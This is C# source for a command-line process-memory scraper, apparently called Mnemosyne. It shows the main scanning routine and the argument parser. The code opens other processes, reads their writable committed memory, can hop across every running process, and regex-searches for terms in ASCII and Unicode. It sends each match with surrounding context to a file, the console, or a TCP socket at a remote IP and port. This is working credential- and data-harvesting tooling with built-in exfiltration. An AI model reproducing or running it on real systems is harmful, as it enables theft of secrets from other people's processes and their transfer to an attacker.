public static void MemScan(CliArgs myargs) { IPAddress ipAddress; IPEndPoint remoteIP; Socket sender = null; System.IO.StreamWriter file = null; // writing output to socket if (myargs.mode.Equals("socket")) { try { ipAddress = IPAddress.Parse(myargs.ipaddr); remoteIP = new IPEndPoint(ipAddress, myargs.portnum); sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sender.Connect(remoteIP); Console.WriteLine("Socket connected to {0}", sender.RemoteEndPoint.ToString()); } catch (SocketException se) { Console.WriteLine("SocketException : {0}", se.ToString()); } } // writing output to file if (myargs.mode.Equals("file")) { file = new System.IO.StreamWriter(myargs.filename); } // get all running processes Process[] localAll = Process.GetProcesses(); // if we're not proc-hopping, just fill the array with the same PID of our target // a bit of a fudge but avoids lots of duplicate code otherwise... if (!myargs.proc_hop) { for (int i = 0; i < localAll.Length; i++) { localAll[i] = Process.GetProcessById(myargs.pid); } } // we run in an infinite loop, so need to CTRL-C to quit while (true) { foreach (Process process in localAll) { // getting minimum & maximum address SYSTEM_INFO sys_info = new SYSTEM_INFO(); GetSystemInfo(out sys_info); IntPtr proc_min_address = sys_info.minimumApplicationAddress; IntPtr proc_max_address = sys_info.maximumApplicationAddress; // saving the values as long ints to avoid lot of casts later long proc_min_address_l = (long)proc_min_address; long proc_max_address_l = (long)proc_max_address; String toSend = ""; // opening the process with desired access level IntPtr processHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_WM_READ, false, process.Id); // we don't want to scrape our own process and if we can't get a handle then it's probalby a protected process // so don't try and scan it otherwise Mnemosyne will stall if (process.Id != Process.GetCurrentProcess().Id&& processHandle != IntPtr.Zero) { Console.WriteLine("Working on processID {0} : {1}", process.Id, process.ProcessName); // this will store any information we get from VirtualQueryEx() MEMORY_BASIC_INFORMATION mem_basic_info = new MEMORY_BASIC_INFORMATION(); // number of bytes read with ReadProcessMemory int bytesRead = 0; // for some efficiencies, pre-compute prepostfix values int postfix = myargs.searchterm.Length + (myargs.prepostfix * 2); while (proc_min_address_l < proc_max_address_l) { // 28 = sizeof(MEMORY_BASIC_INFORMATION) VirtualQueryEx(processHandle, proc_min_address, out mem_basic_info, 28); // if this memory chunk is accessible if (mem_basic_info.Protect == PAGE_READWRITE && mem_basic_info.State == MEM_COMMIT) { byte[] buffer = new byte[mem_basic_info.RegionSize]; // read everything in the buffer above ReadProcessMemory((int)processHandle, mem_basic_info.BaseAddress, buffer, mem_basic_info.RegionSize, ref bytesRead); String memStringASCII = Encoding.ASCII.GetString(buffer); String memStringUNICODE = Encoding.Unicode.GetString(buffer); if (myargs.isRegex) { Regex rgx = new Regex(myargs.searchterm, RegexOptions.IgnoreCase); // does the regex pattern exist in this chunk in ASCII form? if (rgx.IsMatch(memStringASCII)) { int idex = 0; while (rgx.Match(memStringASCII, idex).Success) { idex = rgx.Match(memStringASCII, idex).Index; try { toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":A:" + memStringASCII.Substring(idex - myargs.prepostfix, postfix) + "\n"; send_write(myargs.mode, toSend, myargs.delay, sender, file); } // if our width is too large then it may exceed a search chunk and be out of bounds catch (System.ArgumentOutOfRangeException) { Console.WriteLine("Out of bounds exception - width too large."); } toSend = ""; idex++; } } // does the regex pattern exist in this chunk in UNICODE form? if (rgx.IsMatch(memStringUNICODE)) { int idex = 0; while (rgx.Match(memStringUNICODE, idex).Success) { idex = rgx.Match(memStringUNICODE, idex).Index; try { toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":U:" + memStringUNICODE.Substring(idex - myargs.prepostfix, postfix) + "\n"; send_write(myargs.mode, toSend, myargs.delay, sender, file); } catch (System.ArgumentOutOfRangeException) { Console.WriteLine("Out of bounds exception - width too large."); } toSend = ""; idex++; } } } // does the search terms exist in this chunk in ASCII form? if (memStringASCII.Contains(myargs.searchterm)) { int idex = 0; while ((idex = memStringASCII.IndexOf(myargs.searchterm, idex)) != -1) { try { toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":A:" + memStringASCII.Substring(idex - myargs.prepostfix, postfix) + "\n"; send_write(myargs.mode, toSend, myargs.delay, sender, file); } catch (System.ArgumentOutOfRangeException) { Console.WriteLine("Out of bounds exception - width too large."); } toSend = ""; idex++; } } // does the search terms exist in this chunk in UNICODE form? if (memStringUNICODE.Contains(myargs.searchterm)) { int idex = 0; while ((idex = memStringUNICODE.IndexOf(myargs.searchterm, idex)) != -1) { try { toSend += process.ProcessName + ":" + process.Id + ":0x" + (mem_basic_info.BaseAddress + idex).ToString() + ":U:" + memStringUNICODE.Substring(idex - myargs.prepostfix, postfix) + "\n"; send_write(myargs.mode, toSend, myargs.delay, sender, file); } catch (System.ArgumentOutOfRangeException) { Console.WriteLine("Out of bounds exception - width too large."); } toSend = ""; idex++; } } } // truffle shuffle - moving on chunk proc_min_address_l += mem_basic_info.RegionSize; proc_min_address = new IntPtr(proc_min_address_l); } } } } // ask Turing if we'll ever get here... sender.Shutdown(SocketShutdown.Both); sender.Close(); if (myargs.mode.Equals("file")) { file.Close(); } }
// main method static int Main(string[] args) { if (args.Length == 0) { usage(); return(0); } // display process list if (args[0].ToString().Equals("-proclist")) { System.Console.WriteLine("\nPID\tProcess Name"); System.Console.WriteLine("---------------------"); foreach (Process p in Process.GetProcesses()) { System.Console.WriteLine(p.Id + "\t" + p.ProcessName); } return(0); } CliArgs myargs = new CliArgs(); if (args[0].ToString().Equals("-run") && args.Length >= 5) { if (args[1].ToString().Equals("-s")) { if (args.Length >= 8) { myargs.setMode("socket"); myargs.setPID(args[2]); myargs.setIPaddr(args[3]); myargs.setPortnum(args[4]); myargs.setDelay(args[5]); myargs.setPrePostFix(args[6]); myargs.setSearchTerm(args, 7); Console.WriteLine("Starting search for \"{0}\" and sending output to {1}:{2} with delay of {3} and width of {4}", myargs.searchterm, myargs.ipaddr, myargs.portnum.ToString(), myargs.delay.ToString(), myargs.prepostfix.ToString()); } } if (args[1].ToString().Equals("-f")) { if (args.Length >= 6) { myargs.setMode("file"); myargs.setPID(args[2]); myargs.setFilename(args[3]); myargs.setDelay(args[4]); myargs.setPrePostFix(args[5]); myargs.setSearchTerm(args, 6); Console.WriteLine("Starting search for \"{0}\" and sending output to file {1} with delay of {2} and width of {3}", myargs.searchterm, myargs.filename, myargs.delay.ToString(), myargs.prepostfix.ToString()); } } if (args[1].ToString().Equals("-o")) { if (args.Length >= 5) { myargs.setMode("stdio"); myargs.setPID(args[2]); myargs.setDelay(args[3]); myargs.setPrePostFix(args[4]); myargs.setSearchTerm(args, 5); Console.WriteLine("Starting search for \"{0}\" and sending output to stdio with delay of {1} and width of {2}", myargs.searchterm, myargs.delay.ToString(), myargs.prepostfix.ToString()); } } } // validate arguments, if good then off we go! if (myargs.isValid()) { MemScan(myargs); } else { Console.WriteLine("Error in arguments. Check and try again."); usage(); } return(1); }